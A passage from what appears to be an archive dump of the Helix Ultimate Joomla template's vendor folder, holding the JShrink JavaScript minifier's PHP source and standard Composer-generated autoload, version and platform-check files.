        '@' => true];

    /**
     * The primary action occurs here. This function loops through the input string,
     * outputting anything that's relevant and discarding anything that is not.
     */
    protected function loop()
    {
        while ($this->a !== false && !is_null($this->a) && $this->a !== '') {
            switch ($this->a) {
                // new lines
                case "\n":
                    // if the next line is something that can't stand alone preserve the newline
                    if ($this->b !== false && isset($this->noNewLineCharacters[$this->b])) {
                        echo $this->a;
                        $this->saveString();
                        break;
                    }

                    // if B is a space we skip the rest of the switch block and go down to the
                    // string/regex check below, resetting $this->b with getReal
                    if ($this->b === ' ') {
                        break;
                    }

                // otherwise we treat the newline like a space

                // no break
                case ' ':
                    if (static::isAlphaNumeric($this->b)) {
                        echo $this->a;
                    }

                    $this->saveString();
                    break;

                default:
                    switch ($this->b) {
                        case "\n":
                            if (strpos('}])+-"\'', $this->a) !== false) {
                                echo $this->a;
                                $this->saveString();
                                break;
                            } else {
                                if (static::isAlphaNumeric($this->a)) {
                                    echo $this->a;
                                    $this->saveString();
                                }
                            }
                            break;

                        case ' ':
                            if (!static::isAlphaNumeric($this->a)) {
                                break;
                            }

                        // no break
                        default:
                            // check for some regex that breaks stuff
                            if ($this->a === '/' && ($this->b === '\'' || $this->b === '"')) {
                                $this->saveRegex();
                                continue 3;
                            }

                            echo $this->a;
                            $this->saveString();
                            break;
                    }
            }

            // do reg check of doom
            $this->b = $this->getReal();

            if (($this->b == '/' && strpos('(,=:[!&|?', $this->a) !== false)) {
                $this->saveRegex();
            }
        }
    }

    /**
     * Resets attributes that do not need to be stored between requests so that
     * the next request is ready to go. Another reason for this is to make sure
     * the variables are cleared and are not taking up memory.
     */
    protected function clean()
    {
        unset($this->input);
        $this->len = 0;
        $this->index = 0;
        $this->a = $this->b = '';
        unset($this->c);
        unset($this->options);
    }

    /**
     * Returns the next string for processing based off of the current index.
     *
     * @return string
     */
    protected function getChar()
    {
        // Check to see if we had anything in the look ahead buffer and use that.
        if (isset($this->c)) {
            $char = $this->c;
            unset($this->c);
        } else {
            // Otherwise we start pulling from the input.
            $char = $this->index < $this->len ? $this->input[$this->index] : false;

            // If the next character doesn't exist return false.
            if (isset($char) && $char === false) {
                return false;
            }

            // Otherwise increment the pointer and use this char.
            $this->index++;
        }

        // Normalize all whitespace except for the newline character into a
        // standard space.
        if ($char !== "\n" && $char < "\x20") {
            return ' ';
        }

        return $char;
    }

    /**
     * This function gets the next "real" character. It is essentially a wrapper
     * around the getChar function that skips comments. This has significant
     * performance benefits as the skipping is done using native functions (ie,
     * c code) rather than in script php.
     *
     *
     * @return string            Next 'real' character to be processed.
     * @throws \RuntimeException
     */
    protected function getReal()
    {
        $startIndex = $this->index;
        $char = $this->getChar();

        // Check to see if we're potentially in a comment
        if ($char !== '/') {
            return $char;
        }

        $this->c = $this->getChar();

        if ($this->c === '/') {
            $this->processOneLineComments($startIndex);

            return $this->getReal();
        } elseif ($this->c === '*') {
            $this->processMultiLineComments($startIndex);

            return $this->getReal();
        }

        return $char;
    }

    /**
     * Removed one line comments, with the exception of some very specific types of
     * conditional comments.
     *
     * @param  int  $startIndex The index point where "getReal" function started
     * @return void
     */
    protected function processOneLineComments($startIndex)
    {
        $thirdCommentString = $this->index < $this->len ? $this->input[$this->index] : false;

        // kill rest of line
        $this->getNext("\n");

        unset($this->c);

        if ($thirdCommentString == '@') {
            $endPoint = $this->index - $startIndex;
            $this->c = "\n" . substr($this->input, $startIndex, $endPoint);
        }
    }

    /**
     * Skips multiline comments where appropriate, and includes them where needed.
     * Conditional comments and "license" style blocks are preserved.
     *
     * @param  int               $startIndex The index point where "getReal" function started
     * @return void
     * @throws \RuntimeException Unclosed comments will throw an error
     */
    protected function processMultiLineComments($startIndex)
    {
        $this->getChar(); // current C
        $thirdCommentString = $this->getChar();

        // kill everything up to the next */ if it's there
        if ($this->getNext('*/')) {
            $this->getChar(); // get *
            $this->getChar(); // get /
            $char = $this->getChar(); // get next real character

            // Now we reinsert conditional comments and YUI-style licensing comments
            if (($this->options['flaggedComments'] && $thirdCommentString === '!')
                || ($thirdCommentString === '@')) {

                // If conditional comments or flagged comments are not the first thing in the script
                // we need to echo a and fill it with a space before moving on.
                if ($startIndex > 0) {
                    echo $this->a;
                    $this->a = " ";

                    // If the comment started on a new line we let it stay on the new line
                    if ($this->input[($startIndex - 1)] === "\n") {
                        echo "\n";
                    }
                }

                $endPoint = ($this->index - 1) - $startIndex;
                echo substr($this->input, $startIndex, $endPoint);

                $this->c = $char;

                return;
            }
        } else {
            $char = false;
        }

        if ($char === false) {
            throw new \RuntimeException('Unclosed multiline comment at position: ' . ($this->index - 2));
        }

        // if we're here c is part of the comment and therefore tossed
        $this->c = $char;
    }

    /**
     * Pushes the index ahead to the next instance of the supplied string. If it
     * is found the first character of the string is returned and the index is set
     * to it's position.
     *
     * @param  string       $string
     * @return string|false Returns the first character of the string or false.
     */
    protected function getNext($string)
    {
        // Find the next occurrence of "string" after the current position.
        $pos = strpos($this->input, $string, $this->index);

        // If it's not there return false.
        if ($pos === false) {
            return false;
        }

        // Adjust position of index to jump ahead to the asked for string
        $this->index = $pos;

        // Return the first character of that string.
        return $this->index < $this->len ? $this->input[$this->index] : false;
    }

    /**
     * When a javascript string is detected this function crawls for the end of
     * it and saves the whole string.
     *
     * @throws \RuntimeException Unclosed strings will throw an error
     */
    protected function saveString()
    {
        $startpos = $this->index;

        // saveString is always called after a gets cleared, so we push b into
        // that spot.
        $this->a = $this->b;

        // If this isn't a string we don't need to do anything.
        if (!isset($this->stringDelimiters[$this->a])) {
            return;
        }

        // String type is the quote used, " or '
        $stringType = $this->a;

        // Echo out that starting quote
        echo $this->a;

        // Loop until the string is done
        // Grab the very next character and load it into a
        while (($this->a = $this->getChar()) !== false) {
            switch ($this->a) {

                // If the string opener (single or double quote) is used
                // output it and break out of the while loop-
                // The string is finished!
                case $stringType:
                    break 2;

                // New lines in strings without line delimiters are bad- actual
                // new lines will be represented by the string \n and not the actual
                // character, so those will be treated just fine using the switch
                // block below.
                case "\n":
                    if ($stringType === '`') {
                        echo $this->a;
                    } else {
                        throw new \RuntimeException('Unclosed string at position: ' . $startpos);
                    }
                    break;

                // Escaped characters get picked up here. If it's an escaped new line it's not really needed
                case '\\':

                    // a is a slash. We want to keep it, and the next character,
                    // unless it's a new line. New lines as actual strings will be
                    // preserved, but escaped new lines should be reduced.
                    $this->b = $this->getChar();

                    // If b is a new line we discard a and b and restart the loop.
                    if ($this->b === "\n") {
                        break;
                    }

                    // echo out the escaped character and restart the loop.
                    echo $this->a . $this->b;
                    break;


                // Since we're not dealing with any special cases we simply
                // output the character and continue our loop.
                default:
                    echo $this->a;
            }
        }
    }

    /**
     * When a regular expression is detected this function crawls for the end of
     * it and saves the whole regex.
     *
     * @throws \RuntimeException Unclosed regex will throw an error
     */
    protected function saveRegex()
    {
        echo $this->a . $this->b;

        while (($this->a = $this->getChar()) !== false) {
            if ($this->a === '/') {
                break;
            }

            if ($this->a === '\\') {
                echo $this->a;
                $this->a = $this->getChar();
            }

            if ($this->a === "\n") {
                throw new \RuntimeException('Unclosed regex pattern at position: ' . $this->index);
            }

            echo $this->a;
        }
        $this->b = $this->getReal();
    }

    /**
     * Checks to see if a character is alphanumeric.
     *
     * @param  string $char Just one character
     * @return bool
     */
    protected static function isAlphaNumeric($char)
    {
        return preg_match('/^[\w\$\pL]$/', $char) === 1 || $char == '/';
    }

    /**
     * Replace patterns in the given string and store the replacement
     *
     * @param  string $js The string to lock
     * @return bool
     */
    protected function lock($js)
    {
        /* lock things like <code>"asd" + ++x;</code> */
        $lock = '"LOCK---' . crc32(time()) . '"';

        $matches = [];
        preg_match('/([+-])(\s+)([+-])/S', $js, $matches);
        if (empty($matches)) {
            return $js;
        }

        $this->locks[$lock] = $matches[2];

        $js = preg_replace('/([+-])\s+([+-])/S', "$1{$lock}$2", $js);
        /* -- */

        return $js;
    }

    /**
     * Replace "locks" with the original characters
     *
     * @param  string $js The string to unlock
     * @return bool
     */
    protected function unlock($js)
    {
        if (empty($this->locks)) {
            return $js;
        }

        foreach ($this->locks as $lock => $replacement) {
            $js = str_replace($lock, $replacement, $js);
        }

        return $js;
    }
}
PK!O�::1helixultimate/vendor/tedivm/jshrink/composer.jsonnu&1i�{
  "name": "tedivm/jshrink",
  "description": "Javascript Minifier built in PHP",
  "keywords": ["minifier","javascript"],
  "homepage": "http://github.com/tedious/JShrink",
  "type": "library",
  "license": "BSD-3-Clause",
  "authors": [
    {
      "name": "Robert Hafner",
      "email": "tedivm@tedivm.com"
    }
  ],
  "require": {
    "php": "^5.6|^7.0|^8.0"
  },
  "require-dev": {
      "phpunit/phpunit": "^6",
      "friendsofphp/php-cs-fixer": "^2.8",
      "php-coveralls/php-coveralls": "^1.1.0"
  },
  "autoload": {
    "psr-0": {"JShrink": "src/"}
  }
}
PK!����3helixultimate/vendor/composer/InstalledVersions.phpnu&1i�<?php











namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;






class InstalledVersions
{
private static $installed = array (
  'root' => 
  array (
    'pretty_version' => '2.0.4.x-dev',
    'version' => '2.0.4.9999999-dev',
    'aliases' => 
    array (
    ),
    'reference' => '2bd23fa00c16628faa9736a0e28971fa55799051',
    'name' => 'joomshaper/helixultimate',
  ),
  'versions' => 
  array (
    'joomshaper/helixultimate' => 
    array (
      'pretty_version' => '2.0.4.x-dev',
      'version' => '2.0.4.9999999-dev',
      'aliases' => 
      array (
      ),
      'reference' => '2bd23fa00c16628faa9736a0e28971fa55799051',
    ),
    'scssphp/scssphp' => 
    array (
      'pretty_version' => 'v1.6.0',
      'version' => '1.6.0.0',
      'aliases' => 
      array (
      ),
      'reference' => 'b83594e2323c5d6e80785df3f91b9d1d32aad530',
    ),
    'tedivm/jshrink' => 
    array (
      'pretty_version' => 'v1.4.0',
      'version' => '1.4.0.0',
      'aliases' => 
      array (
      ),
      'reference' => '0513ba1407b1f235518a939455855e6952a48bbc',
    ),
  ),
);
private static $canGetVendors;
private static $installedByVendor = array();







public static function getInstalledPackages()
{
$packages = array();
foreach (self::getInstalled() as $installed) {
$packages[] = array_keys($installed['versions']);
}


if (1 === \count($packages)) {
return $packages[0];
}

return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
}









public static function isInstalled($packageName)
{
foreach (self::getInstalled() as $installed) {
if (isset($installed['versions'][$packageName])) {
return true;
}
}

return false;
}














public static function satisfies(VersionParser $parser, $packageName, $constraint)
{
$constraint = $parser->parseConstraints($constraint);
$provided = $parser->parseConstraints(self::getVersionRanges($packageName));

return $provided->matches($constraint);
}










public static function getVersionRanges($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

$ranges = array();
if (isset($installed['versions'][$packageName]['pretty_version'])) {
$ranges[] = $installed['versions'][$packageName]['pretty_version'];
}
if (array_key_exists('aliases', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
}
if (array_key_exists('replaced', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
}
if (array_key_exists('provided', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
}

return implode(' || ', $ranges);
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getVersion($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

if (!isset($installed['versions'][$packageName]['version'])) {
return null;
}

return $installed['versions'][$packageName]['version'];
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getPrettyVersion($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

if (!isset($installed['versions'][$packageName]['pretty_version'])) {
return null;
}

return $installed['versions'][$packageName]['pretty_version'];
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getReference($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

if (!isset($installed['versions'][$packageName]['reference'])) {
return null;
}

return $installed['versions'][$packageName]['reference'];
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getRootPackage()
{
$installed = self::getInstalled();

return $installed[0]['root'];
}







public static function getRawData()
{
return self::$installed;
}



















public static function reload($data)
{
self::$installed = $data;
self::$installedByVendor = array();
}




private static function getInstalled()
{
if (null === self::$canGetVendors) {
self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
}

$installed = array();

if (self::$canGetVendors) {

foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
if (isset(self::$installedByVendor[$vendorDir])) {
$installed[] = self::$installedByVendor[$vendorDir];
} elseif (is_file($vendorDir.'/composer/installed.php')) {
$installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
}
}
}

$installed[] = self::$installed;

return $installed;
}
}
PK!Y+���3helixultimate/vendor/composer/autoload_classmap.phpnu&1i�<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
    'HelixUltimate\\Framework\\Core\\Classes\\HelixultimateMenu' => $baseDir . '/src/Core/Classes/HelixultimateMenu.php',
    'HelixUltimate\\Framework\\Core\\HelixUltimate' => $baseDir . '/src/Core/HelixUltimate.php',
    'HelixUltimate\\Framework\\Core\\Lib\\FontawesomeIcons' => $baseDir . '/src/Core/Lib/FontawesomeIcons.php',
    'HelixUltimate\\Framework\\Document\\Parser' => $baseDir . '/src/Document/Parser.php',
    'HelixUltimate\\Framework\\HttpResponse\\Response' => $baseDir . '/src/HttpResponse/Response.php',
    'HelixUltimate\\Framework\\Platform\\Blog' => $baseDir . '/src/Platform/Blog.php',
    'HelixUltimate\\Framework\\Platform\\Builders\\Builder' => $baseDir . '/src/Platform/Builders/Builder.php',
    'HelixUltimate\\Framework\\Platform\\Builders\\MegaMenuBuilder' => $baseDir . '/src/Platform/Builders/MegaMenuBuilder.php',
    'HelixUltimate\\Framework\\Platform\\Builders\\MenuBuilder' => $baseDir . '/src/Platform/Builders/MenuBuilder.php',
    'HelixUltimate\\Framework\\Platform\\Classes\\Image' => $baseDir . '/src/Platform/Classes/Image.php',
    'HelixUltimate\\Framework\\Platform\\HTMLOverride' => $baseDir . '/src/Platform/HTMLOverride.php',
    'HelixUltimate\\Framework\\Platform\\Helper' => $baseDir . '/src/Platform/Helper.php',
    'HelixUltimate\\Framework\\Platform\\Media' => $baseDir . '/src/Platform/Media.php',
    'HelixUltimate\\Framework\\Platform\\Platform' => $baseDir . '/src/Platform/Platform.php',
    'HelixUltimate\\Framework\\Platform\\Request' => $baseDir . '/src/Platform/Request.php',
    'HelixUltimate\\Framework\\Platform\\Settings' => $baseDir . '/src/Platform/Settings.php',
    'HelixUltimate\\Framework\\System\\HelixCache' => $baseDir . '/src/System/HelixCache.php',
    'HelixUltimate\\Framework\\System\\HelixDocument' => $baseDir . '/src/System/HelixDocument.php',
    'HelixUltimate\\Framework\\System\\JoomlaBridge' => $baseDir . '/src/System/JoomlaBridge.php',
    'JShrink\\Minifier' => $vendorDir . '/tedivm/jshrink/src/JShrink/Minifier.php',
    'ScssPhp\\ScssPhp\\Base\\Range' => $vendorDir . '/scssphp/scssphp/src/Base/Range.php',
    'ScssPhp\\ScssPhp\\Block' => $vendorDir . '/scssphp/scssphp/src/Block.php',
    'ScssPhp\\ScssPhp\\Cache' => $vendorDir . '/scssphp/scssphp/src/Cache.php',
    'ScssPhp\\ScssPhp\\Colors' => $vendorDir . '/scssphp/scssphp/src/Colors.php',
    'ScssPhp\\ScssPhp\\CompilationResult' => $vendorDir . '/scssphp/scssphp/src/CompilationResult.php',
    'ScssPhp\\ScssPhp\\Compiler' => $vendorDir . '/scssphp/scssphp/src/Compiler.php',
    'ScssPhp\\ScssPhp\\Compiler\\CachedResult' => $vendorDir . '/scssphp/scssphp/src/Compiler/CachedResult.php',
    'ScssPhp\\ScssPhp\\Compiler\\Environment' => $vendorDir . '/scssphp/scssphp/src/Compiler/Environment.php',
    'ScssPhp\\ScssPhp\\Exception\\CompilerException' => $vendorDir . '/scssphp/scssphp/src/Exception/CompilerException.php',
    'ScssPhp\\ScssPhp\\Exception\\ParserException' => $vendorDir . '/scssphp/scssphp/src/Exception/ParserException.php',
    'ScssPhp\\ScssPhp\\Exception\\RangeException' => $vendorDir . '/scssphp/scssphp/src/Exception/RangeException.php',
    'ScssPhp\\ScssPhp\\Exception\\SassException' => $vendorDir . '/scssphp/scssphp/src/Exception/SassException.php',
    'ScssPhp\\ScssPhp\\Exception\\SassScriptException' => $vendorDir . '/scssphp/scssphp/src/Exception/SassScriptException.php',
    'ScssPhp\\ScssPhp\\Exception\\ServerException' => $vendorDir . '/scssphp/scssphp/src/Exception/ServerException.php',
    'ScssPhp\\ScssPhp\\Formatter' => $vendorDir . '/scssphp/scssphp/src/Formatter.php',
    'ScssPhp\\ScssPhp\\Formatter\\Compact' => $vendorDir . '/scssphp/scssphp/src/Formatter/Compact.php',
    'ScssPhp\\ScssPhp\\Formatter\\Compressed' => $vendorDir . '/scssphp/scssphp/src/Formatter/Compressed.php',
    'ScssPhp\\ScssPhp\\Formatter\\Crunched' => $vendorDir . '/scssphp/scssphp/src/Formatter/Crunched.php',
    'ScssPhp\\ScssPhp\\Formatter\\Debug' => $vendorDir . '/scssphp/scssphp/src/Formatter/Debug.php',
    'ScssPhp\\ScssPhp\\Formatter\\Expanded' => $vendorDir . '/scssphp/scssphp/src/Formatter/Expanded.php',
    'ScssPhp\\ScssPhp\\Formatter\\Nested' => $vendorDir . '/scssphp/scssphp/src/Formatter/Nested.php',
    'ScssPhp\\ScssPhp\\Formatter\\OutputBlock' => $vendorDir . '/scssphp/scssphp/src/Formatter/OutputBlock.php',
    'ScssPhp\\ScssPhp\\Logger\\LoggerInterface' => $vendorDir . '/scssphp/scssphp/src/Logger/LoggerInterface.php',
    'ScssPhp\\ScssPhp\\Logger\\QuietLogger' => $vendorDir . '/scssphp/scssphp/src/Logger/QuietLogger.php',
    'ScssPhp\\ScssPhp\\Logger\\StreamLogger' => $vendorDir . '/scssphp/scssphp/src/Logger/StreamLogger.php',
    'ScssPhp\\ScssPhp\\Node' => $vendorDir . '/scssphp/scssphp/src/Node.php',
    'ScssPhp\\ScssPhp\\Node\\Number' => $vendorDir . '/scssphp/scssphp/src/Node/Number.php',
    'ScssPhp\\ScssPhp\\OutputStyle' => $vendorDir . '/scssphp/scssphp/src/OutputStyle.php',
    'ScssPhp\\ScssPhp\\Parser' => $vendorDir . '/scssphp/scssphp/src/Parser.php',
    'ScssPhp\\ScssPhp\\SourceMap\\Base64' => $vendorDir . '/scssphp/scssphp/src/SourceMap/Base64.php',
    'ScssPhp\\ScssPhp\\SourceMap\\Base64VLQ' => $vendorDir . '/scssphp/scssphp/src/SourceMap/Base64VLQ.php',
    'ScssPhp\\ScssPhp\\SourceMap\\SourceMapGenerator' => $vendorDir . '/scssphp/scssphp/src/SourceMap/SourceMapGenerator.php',
    'ScssPhp\\ScssPhp\\Type' => $vendorDir . '/scssphp/scssphp/src/Type.php',
    'ScssPhp\\ScssPhp\\Util' => $vendorDir . '/scssphp/scssphp/src/Util.php',
    'ScssPhp\\ScssPhp\\Util\\Path' => $vendorDir . '/scssphp/scssphp/src/Util/Path.php',
    'ScssPhp\\ScssPhp\\ValueConverter' => $vendorDir . '/scssphp/scssphp/src/ValueConverter.php',
    'ScssPhp\\ScssPhp\\Version' => $vendorDir . '/scssphp/scssphp/src/Version.php',
    'ScssPhp\\ScssPhp\\Warn' => $vendorDir . '/scssphp/scssphp/src/Warn.php',
);
PK!T��t��0helixultimate/vendor/composer/platform_check.phpnu&1i�<?php

// platform_check.php @generated by Composer

$issues = array();

if (!(PHP_VERSION_ID >= 50600)) {
    $issues[] = 'Your Composer dependencies require a PHP version ">= 5.6.0". You are running ' . PHP_VERSION . '.';
}

if ($issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
        }
    }
    trigger_error(
        'Composer detected issues in your platform: ' . implode(' ', $issues),
        E_USER_ERROR
    );
}
PK!�Ͼ���5helixultimate/vendor/composer/autoload_namespaces.phpnu&1i�<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'JShrink' => array($vendorDir . '/tedivm/jshrink/src'),
);
PK!u;2���,helixultimate/vendor/composer/installed.jsonnu&1i�{
    "packages": [
        {
            "name": "scssphp/scssphp",
            "version": "v1.6.0",
            "version_normalized": "1.6.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/scssphp/scssphp.git",
                "reference": "b83594e2323c5d6e80785df3f91b9d1d32aad530"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/scssphp/scssphp/zipball/b83594e2323c5d6e80785df3f91b9d1d32aad530",
                "reference": "b83594e2323c5d6e80785df3f91b9d1d32aad530",
                "shasum": ""
            },
            "require": {
                "ext-ctype": "*",
                "ext-json": "*",
                "php": ">=5.6.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.4",
                "phpunit/phpunit": "^5.7 || ^6.5 || ^7.5 || ^8.3 || ^9.4",
                "sass/sass-spec": "*",
                "squizlabs/php_codesniffer": "~3.5",
                "symfony/phpunit-bridge": "^5.1",
                "twbs/bootstrap": "~5.0",
                "twbs/bootstrap4": "4.6.0",
                "zurb/foundation": "~6.5"
            },
            "suggest": {
                "ext-iconv": "Can be used as fallback when ext-mbstring is not available",
                "ext-mbstring": "For best performance, mbstring should be installed as it is faster than ext-iconv"
            },
            "time": "2021-07-02T16:28:10+00:00",
            "bin": [
                "bin/pscss"
            ],
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "ScssPhp\\ScssPhp\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Anthon Pang",
                    "email": "apang@softwaredevelopment.ca",
                    "homepage": "https://github.com/robocoder"
                },
                {
                    "name": "Cédric Morin",
                    "email": "cedric@yterium.com",
                    "homepage": "https://github.com/Cerdic"
                }
            ],
            "description": "scssphp is a compiler for SCSS written in PHP.",
            "homepage": "http://scssphp.github.io/scssphp/",
            "keywords": [
                "css",
                "less",
                "sass",
                "scss",
                "stylesheet"
            ],
            "support": {
                "issues": "https://github.com/scssphp/scssphp/issues",
                "source": "https://github.com/scssphp/scssphp/tree/v1.6.0"
            },
            "install-path": "../scssphp/scssphp"
        },
        {
            "name": "tedivm/jshrink",
            "version": "v1.4.0",
            "version_normalized": "1.4.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/tedious/JShrink.git",
                "reference": "0513ba1407b1f235518a939455855e6952a48bbc"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/tedious/JShrink/zipball/0513ba1407b1f235518a939455855e6952a48bbc",
                "reference": "0513ba1407b1f235518a939455855e6952a48bbc",
                "shasum": ""
            },
            "require": {
                "php": "^5.6|^7.0|^8.0"
            },
            "require-dev": {
                "friendsofphp/php-cs-fixer": "^2.8",
                "php-coveralls/php-coveralls": "^1.1.0",
                "phpunit/phpunit": "^6"
            },
            "time": "2020-11-30T18:10:21+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "JShrink": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Robert Hafner",
                    "email": "tedivm@tedivm.com"
                }
            ],
            "description": "Javascript Minifier built in PHP",
            "homepage": "http://github.com/tedious/JShrink",
            "keywords": [
                "javascript",
                "minifier"
            ],
            "support": {
                "issues": "https://github.com/tedious/JShrink/issues",
                "source": "https://github.com/tedious/JShrink/tree/v1.4.0"
            },
            "funding": [
                {
                    "url": "https://tidelift.com/funding/github/packagist/tedivm/jshrink",
                    "type": "tidelift"
                }
            ],
            "install-path": "../tedivm/jshrink"
        }
    ],
    "dev": true,
    "dev-package-names": []
}
PK!U�	�/helixultimate/vendor/composer/autoload_psr4.phpnu&1i�<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'ScssPhp\\ScssPhp\\' => array($vendorDir . '/scssphp/scssphp/src'),
    'HelixUltimate\\Framework\\' => array($baseDir . '/src'),
);
PK!�!�H��+helixultimate/vendor/composer/installed.phpnu&1i�<?php return array (
  'root' => 
  array (
    'pretty_version' => '2.0.4.x-dev',
    'version' => '2.0.4.9999999-dev',
    'aliases' => 
    array (
    ),
    'reference' => '2bd23fa00c16628faa9736a0e28971fa55799051',
    'name' => 'joomshaper/helixultimate',
  ),
  'versions' => 
  array (
    'joomshaper/helixultimate' => 
    array (
      'pretty_version' => '2.0.4.x-dev',
      'version' => '2.0.4.9999999-dev',
      'aliases' => 
      array (
      ),
      'reference' => '2bd23fa00c16628faa9736a0e28971fa55799051',
    ),
    'scssphp/scssphp' => 
    array (
      'pretty_version' => 'v1.6.0',
      'version' => '1.6.0.0',
      'aliases' => 
      array (
      ),
      'reference' => 'b83594e2323c5d6e80785df3f91b9d1d32aad530',
    ),
    'tedivm/jshrink' => 
    array (
      'pretty_version' => 'v1.4.0',
      'version' => '1.4.0.0',
      'aliases' => 
      array (
      ),
      'reference' => '0513ba1407b1f235518a939455855e6952a48bbc',
    ),
  ),
);
PK!��%��1helixultimate/vendor/composer/autoload_static.phpnu&1i�<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit03de505cc53b36971260b46d9d0f25c6
{
    public static $prefixLengthsPsr4 = array (
        'S' => 
        array (
            'ScssPhp\\ScssPhp\\' => 16,
        ),
        'H' => 
        array (
            'HelixUltimate\\Framework\\' => 24,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'ScssPhp\\ScssPhp\\' => 
        array (
            0 => __DIR__ . '/..' . '/scssphp/scssphp/src',
        ),
        'HelixUltimate\\Framework\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $prefixesPsr0 = array (
        'J' => 
        array (
            'JShrink' => 
            array (
                0 => __DIR__ . '/..' . '/tedivm/jshrink/src',
            ),
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
        'HelixUltimate\\Framework\\Core\\Classes\\HelixultimateMenu' => __DIR__ . '/../..' . '/src/Core/Classes/HelixultimateMenu.php',
        'HelixUltimate\\Framework\\Core\\HelixUltimate' => __DIR__ . '/../..' . '/src/Core/HelixUltimate.php',
        'HelixUltimate\\Framework\\Core\\Lib\\FontawesomeIcons' => __DIR__ . '/../..' . '/src/Core/Lib/FontawesomeIcons.php',
        'HelixUltimate\\Framework\\Document\\Parser' => __DIR__ . '/../..' . '/src/Document/Parser.php',
        'HelixUltimate\\Framework\\HttpResponse\\Response' => __DIR__ . '/../..' . '/src/HttpResponse/Response.php',
        'HelixUltimate\\Framework\\Platform\\Blog' => __DIR__ . '/../..' . '/src/Platform/Blog.php',
        'HelixUltimate\\Framework\\Platform\\Builders\\Builder' => __DIR__ . '/../..' . '/src/Platform/Builders/Builder.php',
        'HelixUltimate\\Framework\\Platform\\Builders\\MegaMenuBuilder' => __DIR__ . '/../..' . '/src/Platform/Builders/MegaMenuBuilder.php',
        'HelixUltimate\\Framework\\Platform\\Builders\\MenuBuilder' => __DIR__ . '/../..' . '/src/Platform/Builders/MenuBuilder.php',
        'HelixUltimate\\Framework\\Platform\\Classes\\Image' => __DIR__ . '/../..' . '/src/Platform/Classes/Image.php',
        'HelixUltimate\\Framework\\Platform\\HTMLOverride' => __DIR__ . '/../..' . '/src/Platform/HTMLOverride.php',
        'HelixUltimate\\Framework\\Platform\\Helper' => __DIR__ . '/../..' . '/src/Platform/Helper.php',
        'HelixUltimate\\Framework\\Platform\\Media' => __DIR__ . '/../..' . '/src/Platform/Media.php',
        'HelixUltimate\\Framework\\Platform\\Platform' => __DIR__ . '/../..' . '/src/Platform/Platform.php',
        'HelixUltimate\\Framework\\Platform\\Request' => __DIR__ . '/../..' . '/src/Platform/Request.php',
        'HelixUltimate\\Framework\\Platform\\Settings' => __DIR__ . '/../..' . '/src/Platform/Settings.php',
        'HelixUltimate\\Framework\\System\\HelixCache' => __DIR__ . '/../..' . '/src/System/HelixCache.php',
        'HelixUltimate\\Framework\\System\\HelixDocument' => __DIR__ . '/../..' . '/src/System/HelixDocument.php',
        'HelixUltimate\\Framework\\System\\JoomlaBridge' => __DIR__ . '/../..' . '/src/System/JoomlaBridge.php',
        'JShrink\\Minifier' => __DIR__ . '/..' . '/tedivm/jshrink/src/JShrink/Minifier.php',
        'ScssPhp\\ScssPhp\\Base\\Range' => __DIR__ . '/..' . '/scssphp/scssphp/src/Base/Range.php',
        'ScssPhp\\ScssPhp\\Block' => __DIR__ . '/..' . '/scssphp/scssphp/src/Block.php',
        'ScssPhp\\ScssPhp\\Cache' => __DIR__ . '/..' . '/scssphp/scssphp/src/Cache.php',
